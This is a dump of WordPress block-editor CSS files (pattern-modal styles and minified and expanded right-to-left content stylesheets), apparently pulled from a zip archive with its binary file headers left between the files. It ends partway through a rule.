  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.patterns-menu-items__convert-modal{
  z-index:1000001;
}
.patterns-menu-items__convert-modal [role=dialog]>[role=document]{
  width:350px;
}
.patterns-menu-items__convert-modal .patterns-menu-items__convert-modal-categories{
  position:relative;
}
.patterns-menu-items__convert-modal .components-form-token-field__suggestions-list:not(:empty){
  background-color:#fff;
  border:1px solid var(--wp-admin-theme-color);
  border-bottom-left-radius:2px;
  border-bottom-right-radius:2px;
  box-shadow:0 0 .5px .5px var(--wp-admin-theme-color);
  box-sizing:border-box;
  left:-1px;
  max-height:96px;
  min-width:auto;
  position:absolute;
  width:calc(100% + 2px);
  z-index:1;
}

.patterns-create-modal__name-input input[type=text]{
  margin:0;
}

.patterns-rename-pattern-category-modal__validation-message{
  color:#cc1818;
}
@media (min-width:782px){
  .patterns-rename-pattern-category-modal__validation-message{
    width:320px;
  }
}

.pattern-overrides-control__allow-overrides-button{
  justify-content:center;
  width:100%;
}

.patterns-pattern-overrides-toolbar-indicator__popover .components-popover__content{
  min-width:260px;
  padding:16px;
}

.patterns-pattern-overrides-toolbar-indicator .patterns-pattern-overrides-toolbar-indicator-icon.has-colors svg{
  fill:var(--wp-block-synced-color);
}

.editor-collapsible-block-toolbar .patterns-pattern-overrides-toolbar-indicator{
  height:32px;
}PK1Xd[[�a�,r,r%dist/block-editor/content-rtl.min.cssnu�[���:root{--wp-admin-theme-color:#007cba;--wp-admin-theme-color--rgb:0,124,186;--wp-admin-theme-color-darker-10:#006ba1;--wp-admin-theme-color-darker-10--rgb:0,107,161;--wp-admin-theme-color-darker-20:#005a87;--wp-admin-theme-color-darker-20--rgb:0,90,135;--wp-admin-border-width-focus:2px;--wp-block-synced-color:#7a00df;--wp-block-synced-color--rgb:122,0,223;--wp-bound-block-color:var(--wp-block-synced-color)}@media (min-resolution:192dpi){:root{--wp-admin-border-width-focus:1.5px}}.block-editor-block-icon{align-items:center;display:flex;height:24px;justify-content:center;width:24px}.block-editor-block-icon.has-colors svg{fill:currentColor}@media (forced-colors:active){.block-editor-block-icon.has-colors svg{fill:CanvasText}}.block-editor-block-icon svg{max-height:24px;max-width:24px;min-height:20px;min-width:20px}.block-editor-block-styles .block-editor-block-list__block{margin:0}@keyframes selection-overlay__fade-in-animation{0%{opacity:0}to{opacity:.4}}:root .block-editor-block-list__layout::selection,:root [data-has-multi-selection=true] .block-editor-block-list__layout::selection,_::-webkit-full-page-media,_:future{background-color:initial}.block-editor-block-list__layout{position:relative}.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected) ::selection,.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)::selection{background:#0000}.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{background:var(--wp-admin-theme-color);bottom:0;content:"";left:0;opacity:.4;outline:2px solid #0000;pointer-events:none;position:absolute;right:0;top:0;z-index:1}@media not (prefers-reduced-motion){.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{animation:selection-overlay__fade-in-animation .1s ease-out;animation-fill-mode:forwards}}.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected).is-highlighted:after{outline-color:#0000}.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus{outline:none}.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus:after{bottom:0;content:"";left:0;outline-color:var(--wp-admin-theme-color);outline-offset:calc(((-1*var(--wp-admin-border-width-focus))/var(--wp-block-editor-iframe-zoom-out-scale, 1))*1);outline-style:solid;outline-width:calc((var(--wp-admin-border-width-focus)/var(--wp-block-editor-iframe-zoom-out-scale, 1))*1);pointer-events:none;position:absolute;right:0;top:0;z-index:1}.block-editor-block-list__layout [class^=components-]{-webkit-user-select:text;user-select:text}.block-editor-block-list__layout .block-editor-block-list__block{overflow-wrap:break-word;pointer-events:auto;position:relative}.block-editor-block-list__layout .block-editor-block-list__block.is-editing-disabled{pointer-events:none}.block-editor-block-list__layout .block-editor-block-list__block.has-negative-margin.has-child-selected,.block-editor-block-list__layout .block-editor-block-list__block.has-negative-margin.is-selected{z-index:20}.block-editor-block-list__layout .block-editor-block-list__block .reusable-block-edit-panel *{z-index:1}.block-editor-block-list__layout .block-editor-block-list__block .components-placeholder .components-with-notices-ui{margin:-10px 0 12px}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui{margin:0 0 12px;width:100%}.block-editor-block-list__layout .block-editor-block-list__block .components-with-notices-ui .components-notice .components-notice__content{font-size:13px}.block-editor-block-list__layout .block-editor-block-list__block.has-warning{min-height:48px}.block-editor-block-list__layout .block-editor-block-list__block.has-warning>*{pointer-events:none;-webkit-user-select:none;user-select:none}.block-editor-block-list__layout .block-editor-block-list__block.has-warning .block-editor-warning{pointer-events:all}.block-editor-block-list__layout .block-editor-block-list__block.has-warning:after{background-color:#fff6;bottom:0;content:"";left:0;position:absolute;right:0;top:0}.block-editor-block-list__layout .block-editor-block-list__block.has-warning.is-multi-selected:after{background-color:initial}.block-editor-block-list__layout .block-editor-block-list__block.is-reusable.has-child-selected:after{box-shadow:0 0 0 1px var(--wp-admin-theme-color)}.block-editor-block-list__layout .block-editor-block-list__block[data-clear=true]{float:none}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected{cursor:default}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered .rich-text,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered.rich-text,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected .rich-text,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-selected.rich-text{cursor:auto}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-hovered:not(.is-selected):after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline):not(.rich-text):not([contenteditable=true]).is-selected:after{bottom:0;content:"";left:0;outline-color:var(--wp-admin-theme-color);outline-offset:calc(((-1*var(--wp-admin-border-width-focus))/var(--wp-block-editor-iframe-zoom-out-scale, 1))*1);outline-style:solid;outline-width:calc((var(--wp-admin-border-width-focus)/var(--wp-block-editor-iframe-zoom-out-scale, 1))*1);pointer-events:none;position:absolute;right:0;top:0}.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-highlighted:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-hovered:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).is-reusable.is-selected:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.block-editor-block-list__block:not([contenteditable]):focus:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-highlighted:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-hovered:after,.is-outline-mode .block-editor-block-list__block:not(.remove-outline).wp-block-template-part.is-selected:after{outline-color:var(--wp-block-synced-color)}@keyframes block-editor-is-editable__animation{0%{background-color:rgba(var(--wp-admin-theme-color--rgb),.1)}to{background-color:rgba(var(--wp-admin-theme-color--rgb),0)}}@keyframes block-editor-is-editable__animation_reduce-motion{0%{background-color:rgba(var(--wp-admin-theme-color--rgb),.1)}99%{background-color:rgba(var(--wp-admin-theme-color--rgb),.1)}to{background-color:rgba(var(--wp-admin-theme-color--rgb),0)}}.is-root-container:not([inert]) .block-editor-block-list__block.is-selected .block-editor-block-list__block.has-editable-outline:after{animation-delay:.1s;animation-duration:.8s;animation-fill-mode:backwards;animation-name:block-editor-is-editable__animation;animation-timing-function:ease-out;bottom:0;content:"";left:0;pointer-events:none;position:absolute;right:0;top:0}@media (prefers-reduced-motion:reduce){.is-root-container:not([inert]) .block-editor-block-list__block.is-selected .block-editor-block-list__block.has-editable-outline:after{animation-delay:0s;animation-name:block-editor-is-editable__animation_reduce-motion}}.is-focus-mode .block-editor-block-list__block:not(.has-child-selected){opacity:.2}@media not (prefers-reduced-motion){.is-focus-mode .block-editor-block-list__block:not(.has-child-selected){transition:opacity .1s linear}}.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked-temporarily-editing-as-blocks.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected,.is-focus-mode .block-editor-block-list__block.is-content-locked.has-child-selected .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected) .block-editor-block-list__block,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-multi-selected,.is-focus-mode .block-editor-block-list__block:not(.has-child-selected).is-selected{opacity:1}.wp-block.alignleft,.wp-block.alignright,.wp-block[data-align=left]>*,.wp-block[data-align=right]>*{z-index:21}.wp-site-blocks>[data-align=left]{float:right;margin-left:2em}.wp-site-blocks>[data-align=right]{float:left;margin-right:2em}.wp-site-blocks>[data-align=center]{justify-content:center;margin-left:auto;margin-right:auto}.block-editor-block-list .block-editor-inserter{cursor:move;cursor:grab;margin:8px}@keyframes block-editor-inserter__toggle__fade-in-animation{0%{opacity:0}to{opacity:1}}@media not (prefers-reduced-motion){.wp-block .block-list-appender .block-editor-inserter__toggle{animation:block-editor-inserter__toggle__fade-in-animation .1s ease;animation-fill-mode:forwards}}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender{display:none}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected) .block-editor-default-block-appender .block-editor-inserter__toggle{opacity:0;transform:scale(0)}.block-editor-block-list__block .block-editor-block-list__block-html-textarea{border:none;border-radius:2px;box-shadow:inset 0 0 0 1px #1e1e1e;display:block;font-family:Menlo,Consolas,monaco,monospace;font-size:15px;line-height:1.5;margin:0;outline:none;overflow:hidden;padding:12px;resize:none;width:100%}@media not (prefers-reduced-motion){.block-editor-block-list__block .block-editor-block-list__block-html-textarea{transition:padding .2s linear}}.block-editor-block-list__block .block-editor-block-list__block-html-textarea:focus{box-shadow:inset 0 0 0 var(--wp-admin-border-width-focus) var(--wp-admin-theme-color)}.block-editor-block-list__block .block-editor-warning{position:relative;z-index:5}.block-editor-block-list__block .block-editor-warning.block-editor-block-list__block-crash-warning{margin-bottom:auto}.block-editor-block-list__zoom-out-separator{align-items:center;background:#ddd;color:#000;display:flex;font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif;font-size:13px;font-weight:400;justify-content:center;margin-left:-1px;margin-right:-1px;overflow:hidden}@media not (prefers-reduced-motion){.block-editor-block-list__zoom-out-separator{transition:background-color .3s ease}}.is-zoomed-out .block-editor-block-list__zoom-out-separator{font-size:calc(13px/var(--wp-block-editor-iframe-zoom-out-scale))}.block-editor-block-list__zoom-out-separator.is-dragged-over{background:#ccc}.block-editor-block-list__layout.is-root-container.has-global-padding>.block-editor-block-list__zoom-out-separator,.has-global-padding>.block-editor-block-list__zoom-out-separator{margin:0 calc(var(--wp--style--root--padding-left)*-1 - 1px) 0 calc(var(--wp--style--root--padding-right)*-1 - 1px)!important;max-width:none}.is-dragging{cursor:grabbing}.is-vertical .block-list-appender{margin-left:auto;margin-right:12px;margin-top:12px;width:24px}.block-list-appender>.block-editor-inserter{display:block}.block-editor-block-list__block:not(.is-selected):not(.has-child-selected):not(.block-editor-block-list__layout) .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle{opacity:0;transform:scale(0)}.block-editor-block-list__block.has-block-overlay{cursor:default}.block-editor-block-list__block.has-block-overlay .block-editor-block-list__block{pointer-events:none}.block-editor-block-list__block.has-block-overlay .block-editor-block-list__block.has-block-overlay:before{left:0;right:0;width:auto}.block-editor-block-list__layout .is-dragging{border-radius:2px!important;opacity:.1!important}.block-editor-block-list__layout .is-dragging iframe{pointer-events:none}.block-editor-block-list__layout .is-dragging::selection{background:#0000!important}.block-editor-block-list__layout .is-dragging:after{content:none!important}.wp-block img:not([draggable]),.wp-block svg:not([draggable]){pointer-events:none}.block-editor-block-preview__content-iframe .block-list-appender{display:none}.block-editor-block-preview__live-content *{pointer-events:none}.block-editor-block-preview__live-content .block-list-appender{display:none}.block-editor-block-preview__live-content .components-button:disabled{opacity:1}.block-editor-block-preview__live-content .block-editor-block-list__block[data-empty=true],.block-editor-block-preview__live-content .components-placeholder{display:none}.block-editor-block-variation-picker__skip,.block-editor-block-variation-picker__variations,.wp-block-group-placeholder__variations{display:flex;flex-direction:row;flex-wrap:wrap;font-size:12px;gap:8px;justify-content:flex-start;list-style:none;margin:0;padding:0;width:100%}.block-editor-block-variation-picker__skip svg,.block-editor-block-variation-picker__variations svg,.wp-block-group-placeholder__variations svg{fill:#949494!important}.block-editor-block-variation-picker__skip .components-button,.block-editor-block-variation-picker__variations .components-button,.wp-block-group-placeholder__variations .components-button{padding:4px}.block-editor-block-variation-picker__skip .components-button:hover,.block-editor-block-variation-picker__variations .components-button:hover,.wp-block-group-placeholder__variations .components-button:hover{background:none!important}.block-editor-block-variation-picker__skip .components-button:hover svg,.block-editor-block-variation-picker__variations .components-button:hover svg,.wp-block-group-placeholder__variations .components-button:hover svg{fill:var(--wp-admin-theme-color)!important}.block-editor-block-variation-picker__skip>li,.block-editor-block-variation-picker__variations>li,.wp-block-group-placeholder__variations>li{align-items:center;display:flex;flex-direction:column;gap:4px;width:auto}.block-editor-button-block-appender{align-items:center;box-shadow:inset 0 0 0 1px #1e1e1e;color:#1e1e1e;display:flex;flex-direction:column;height:auto;justify-content:center;width:100%}.is-dark-theme .block-editor-button-block-appender{box-shadow:inset 0 0 0 1px #ffffffa6;color:#ffffffa6}.block-editor-button-block-appender:hover{box-shadow:inset 0 0 0 1px var(--wp-admin-theme-color);color:var(--wp-admin-theme-color)}.block-editor-button-block-appender:focus{box-shadow:inset 0 0 0 2px var(--wp-admin-theme-color)}.block-editor-button-block-appender:active{color:#000}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child{pointer-events:none}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child:after,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child:after{border:1px dashed;bottom:0;content:"";left:0;pointer-events:none;position:absolute;right:0;top:0}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter{opacity:0}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter:focus-within,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child .block-editor-inserter:focus-within,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter:focus-within,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child .block-editor-inserter:focus-within{opacity:1}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over:after,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over:after{border:none}.block-editor-block-list__block:not(.is-selected)>.is-layout-constrained.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.block-editor-block-list__block:not(.is-selected)>.is-layout-flow.wp-block-group__inner-container>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-constrained.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter,.is-layout-flow.block-editor-block-list__block:not(.is-selected)>.block-list-appender:only-child.is-drag-over .block-editor-inserter{visibility:visible}.block-editor-block-list__block:not(.is-selected)>.block-editor-block-list__block>.block-list-appender:only-child:after{border:none}.block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{background-color:var(--wp-admin-theme-color);box-shadow:inset 0 0 0 1px #ffffffa6;color:#ffffffa6}@media not (prefers-reduced-motion){.block-list-appender:only-child.is-drag-over .block-editor-button-block-appender{transition:background-color .2s ease-in-out}}.block-editor-default-block-appender{clear:both;margin-left:auto;margin-right:auto;position:relative}.block-editor-default-block-appender[data-root-client-id=""] .block-editor-default-block-appender__content:hover{outline:1px solid #0000}.block-editor-default-block-appender .block-editor-default-block-appender__content{margin-block-end:0;margin-block-start:0;opacity:.62}.block-editor-default-block-appender .components-drop-zone__content-icon{display:none}.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon{background:#1e1e1e;color:#fff;height:24px;min-width:24px;padding:0}.block-editor-default-block-appender .block-editor-inserter__toggle.components-button.has-icon:hover{background:var(--wp-admin-theme-color);color:#fff}.block-editor-default-block-appender .block-editor-inserter{left:0;line-height:0;position:absolute;top:0}.block-editor-default-block-appender .block-editor-inserter:disabled{display:none}.block-editor-block-list__block .block-list-appender{bottom:0;left:0;list-style:none;padding:0;position:absolute;z-index:2}.block-editor-block-list__block .block-list-appender.block-list-appender{line-height:0;margin:0}.block-editor-block-list__block .block-list-appender .block-editor-inserter:disabled{display:none}.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender{height:24px}.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle{background:#1e1e1e;box-shadow:none;color:#fff;display:none;flex-direction:row;height:24px;min-width:24px;padding:0!important;width:24px}.block-editor-block-list__block .block-list-appender .block-editor-inserter__toggle.components-button.has-icon:hover,.block-editor-block-list__block .block-list-appender .block-list-appender__toggle:hover{background:var(--wp-admin-theme-color);color:#fff}.block-editor-block-list__block .block-list-appender .block-editor-default-block-appender__content{display:none}.block-editor-block-list__block .block-list-appender:only-child{align-self:center;left:auto;line-height:inherit;list-style:none;position:relative}.block-editor-block-list__block .block-list-appender:only-child .block-editor-default-block-appender__content{display:block}.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected .block-editor-block-list__layout>.block-list-appender .block-list-appender__toggle,.block-editor-block-list__block.is-selected>.block-list-appender .block-editor-inserter__toggle.components-button.has-icon,.block-editor-block-list__block.is-selected>.block-list-appender .block-list-appender__toggle{display:flex}.block-editor-default-block-appender__content{cursor:text}.block-editor-iframe__body{position:relative}.block-editor-iframe__html{transform-origin:top center}@media not (prefers-reduced-motion){.block-editor-iframe__html{transition:background-color .4s}}.block-editor-iframe__html.zoom-out-animation{bottom:0;left:0;overflow-y:var(--wp-block-editor-iframe-zoom-out-overflow-behavior,scroll);position:fixed;right:0;top:calc(var(--wp-block-editor-iframe-zoom-out-scroll-top, 0)*-1)}.block-editor-iframe__html.is-zoomed-out{background-color:#ddd;margin-bottom:calc(var(--wp-block-editor-iframe-zoom-out-content-height)*(1 - var(--wp-block-editor-iframe-zoom-out-scale, 1))*-1 + var(--wp-block-editor-iframe-zoom-out-frame-size, 0)*2/var(--wp-block-editor-iframe-zoom-out-scale, 1)*-1 + -2px);padding-bottom:calc(var(--wp-block-editor-iframe-zoom-out-frame-size, 0)/var(--wp-block-editor-iframe-zoom-out-scale, 1));padding-top:calc(var(--wp-block-editor-iframe-zoom-out-frame-size, 0)/var(--wp-block-editor-iframe-zoom-out-scale, 1));scale:var(--wp-block-editor-iframe-zoom-out-scale,1);transform:translateX(calc(((var(--wp-block-editor-iframe-zoom-out-scale-container-width) - var(--wp-block-editor-iframe-zoom-out-container-width, 100vw))/2/var(--wp-block-editor-iframe-zoom-out-scale, 1))*-1))}.block-editor-iframe__html.is-zoomed-out body{min-height:calc((var(--wp-block-editor-iframe-zoom-out-inner-height) - 2*var(--wp-block-editor-iframe-zoom-out-frame-size, 0)/var(--wp-block-editor-iframe-zoom-out-scale, 1))/var(--wp-block-editor-iframe-zoom-out-scale, 1))}.block-editor-iframe__html.is-zoomed-out body>.is-root-container:not(.wp-block-post-content){display:flex;flex:1;flex-direction:column;height:100%}.block-editor-iframe__html.is-zoomed-out body>.is-root-container:not(.wp-block-post-content)>main{flex:1}.block-editor-iframe__html.is-zoomed-out .wp-block[draggable]{cursor:grab}.block-editor-media-placeholder__cancel-button.is-link{display:block;margin:1em}.block-editor-media-placeholder.is-appender{min-height:0}.block-editor-media-placeholder.is-appender:hover{box-shadow:0 0 0 1px var(--wp-admin-theme-color);cursor:pointer}.block-editor-plain-text{border:none;box-shadow:none;color:inherit;font-family:inherit;font-size:inherit;line-height:inherit;margin:0;padding:0;width:100%}.rich-text [data-rich-text-placeholder]{pointer-events:none}.rich-text [data-rich-text-placeholder]:after{content:attr(data-rich-text-placeholder);opacity:.62}.rich-text:focus{outline:none}figcaption.block-editor-rich-text__editable [data-rich-text-placeholder]:before{opacity:.8}[data-rich-text-script]{display:inline}[data-rich-text-script]:before{background:#ff0;content:"</>"}[data-rich-text-comment],[data-rich-text-format-boundary]{border-radius:2px}[data-rich-text-comment]{background-color:currentColor}[data-rich-text-comment] span{color:currentColor;filter:invert(100%);padding:0 2px}.block-editor-warning{align-items:center;background-color:#fff;border:1px solid #1e1e1e;border-radius:2px;display:flex;flex-wrap:wrap;padding:1em}.block-editor-warning,.block-editor-warning .block-editor-warning__message{font-family:-apple-system,BlinkMacSystemFont,Segoe UI,Roboto,Oxygen-Sans,Ubuntu,Cantarell,Helvetica Neue,sans-serif}.block-editor-warning .block-editor-warning__message{color:#1e1e1e;font-size:13px;line-height:1.4;margin:0}.block-editor-warning p.block-editor-warning__message.block-editor-warning__message{min-height:auto}.block-editor-warning .block-editor-warning__contents{align-items:baseline;display:flex;flex-direction:row;flex-wrap:wrap;gap:12px;justify-content:space-between;width:100%}.block-editor-warning .block-editor-warning__actions{align-items:center;display:flex;gap:8px}.components-popover.block-editor-warning__dropdown{z-index:99998}body.admin-color-light{--wp-admin-theme-color:#0085ba;--wp-admin-theme-color--rgb:0,133,186;--wp-admin-theme-color-darker-10:#0073a1;--wp-admin-theme-color-darker-10--rgb:0,115,161;--wp-admin-theme-color-darker-20:#006187;--wp-admin-theme-color-darker-20--rgb:0,97,135;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-light{--wp-admin-border-width-focus:1.5px}}body.admin-color-modern{--wp-admin-theme-color:#3858e9;--wp-admin-theme-color--rgb:56,88,233;--wp-admin-theme-color-darker-10:#2145e6;--wp-admin-theme-color-darker-10--rgb:33,69,230;--wp-admin-theme-color-darker-20:#183ad6;--wp-admin-theme-color-darker-20--rgb:24,58,214;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-modern{--wp-admin-border-width-focus:1.5px}}body.admin-color-blue{--wp-admin-theme-color:#096484;--wp-admin-theme-color--rgb:9,100,132;--wp-admin-theme-color-darker-10:#07526c;--wp-admin-theme-color-darker-10--rgb:7,82,108;--wp-admin-theme-color-darker-20:#064054;--wp-admin-theme-color-darker-20--rgb:6,64,84;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-blue{--wp-admin-border-width-focus:1.5px}}body.admin-color-coffee{--wp-admin-theme-color:#46403c;--wp-admin-theme-color--rgb:70,64,60;--wp-admin-theme-color-darker-10:#383330;--wp-admin-theme-color-darker-10--rgb:56,51,48;--wp-admin-theme-color-darker-20:#2b2724;--wp-admin-theme-color-darker-20--rgb:43,39,36;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-coffee{--wp-admin-border-width-focus:1.5px}}body.admin-color-ectoplasm{--wp-admin-theme-color:#523f6d;--wp-admin-theme-color--rgb:82,63,109;--wp-admin-theme-color-darker-10:#46365d;--wp-admin-theme-color-darker-10--rgb:70,54,93;--wp-admin-theme-color-darker-20:#3a2c4d;--wp-admin-theme-color-darker-20--rgb:58,44,77;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ectoplasm{--wp-admin-border-width-focus:1.5px}}body.admin-color-midnight{--wp-admin-theme-color:#e14d43;--wp-admin-theme-color--rgb:225,77,67;--wp-admin-theme-color-darker-10:#dd382d;--wp-admin-theme-color-darker-10--rgb:221,56,45;--wp-admin-theme-color-darker-20:#d02c21;--wp-admin-theme-color-darker-20--rgb:208,44,33;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-midnight{--wp-admin-border-width-focus:1.5px}}body.admin-color-ocean{--wp-admin-theme-color:#627c83;--wp-admin-theme-color--rgb:98,124,131;--wp-admin-theme-color-darker-10:#576e74;--wp-admin-theme-color-darker-10--rgb:87,110,116;--wp-admin-theme-color-darker-20:#4c6066;--wp-admin-theme-color-darker-20--rgb:76,96,102;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-ocean{--wp-admin-border-width-focus:1.5px}}body.admin-color-sunrise{--wp-admin-theme-color:#dd823b;--wp-admin-theme-color--rgb:221,130,59;--wp-admin-theme-color-darker-10:#d97426;--wp-admin-theme-color-darker-10--rgb:217,116,38;--wp-admin-theme-color-darker-20:#c36922;--wp-admin-theme-color-darker-20--rgb:195,105,34;--wp-admin-border-width-focus:2px}@media (min-resolution:192dpi){body.admin-color-sunrise{--wp-admin-border-width-focus:1.5px}}PK1Xd[��̒z�z!dist/block-editor/content-rtl.cssnu�[���:root{
  --wp-admin-theme-color:#007cba;
  --wp-admin-theme-color--rgb:0, 124, 186;
  --wp-admin-theme-color-darker-10:#006ba1;
  --wp-admin-theme-color-darker-10--rgb:0, 107, 161;
  --wp-admin-theme-color-darker-20:#005a87;
  --wp-admin-theme-color-darker-20--rgb:0, 90, 135;
  --wp-admin-border-width-focus:2px;
  --wp-block-synced-color:#7a00df;
  --wp-block-synced-color--rgb:122, 0, 223;
  --wp-bound-block-color:var(--wp-block-synced-color);
}
@media (min-resolution:192dpi){
  :root{
    --wp-admin-border-width-focus:1.5px;
  }
}

.block-editor-block-icon{
  align-items:center;
  display:flex;
  height:24px;
  justify-content:center;
  width:24px;
}
.block-editor-block-icon.has-colors svg{
  fill:currentColor;
}
@media (forced-colors:active){
  .block-editor-block-icon.has-colors svg{
    fill:CanvasText;
  }
}
.block-editor-block-icon svg{
  max-height:24px;
  max-width:24px;
  min-height:20px;
  min-width:20px;
}

.block-editor-block-styles .block-editor-block-list__block{
  margin:0;
}
@keyframes selection-overlay__fade-in-animation{
  0%{
    opacity:0;
  }
  to{
    opacity:.4;
  }
}
:root .block-editor-block-list__layout::selection,:root [data-has-multi-selection=true] .block-editor-block-list__layout::selection,_::-webkit-full-page-media,_:future{
  background-color:initial;
}
.block-editor-block-list__layout{
  position:relative;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected) ::selection,.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected)::selection{
  background:#0000;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{
  background:var(--wp-admin-theme-color);
  bottom:0;
  content:"";
  left:0;
  opacity:.4;
  outline:2px solid #0000;
  pointer-events:none;
  position:absolute;
  right:0;
  top:0;
  z-index:1;
}
@media not (prefers-reduced-motion){
  .block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected):after{
    animation:selection-overlay__fade-in-animation .1s ease-out;
    animation-fill-mode:forwards;
  }
}
.block-editor-block-list__layout .block-editor-block-list__block.is-multi-selected:not(.is-partially-selected).is-highlighted:after{
  outline-color:#0000;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus{
  outline:none;
}
.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted:after,.block-editor-block-list__layout .block-editor-block-list__block.is-highlighted~.is-multi-selected:after,.block-editor-block-list__layout .block-editor-block-list__block:not([contenteditable=true]):focus:after{
  bottom:0;
  content:"";
  left:0;
  outline-color:var(--wp-admin-theme-color);
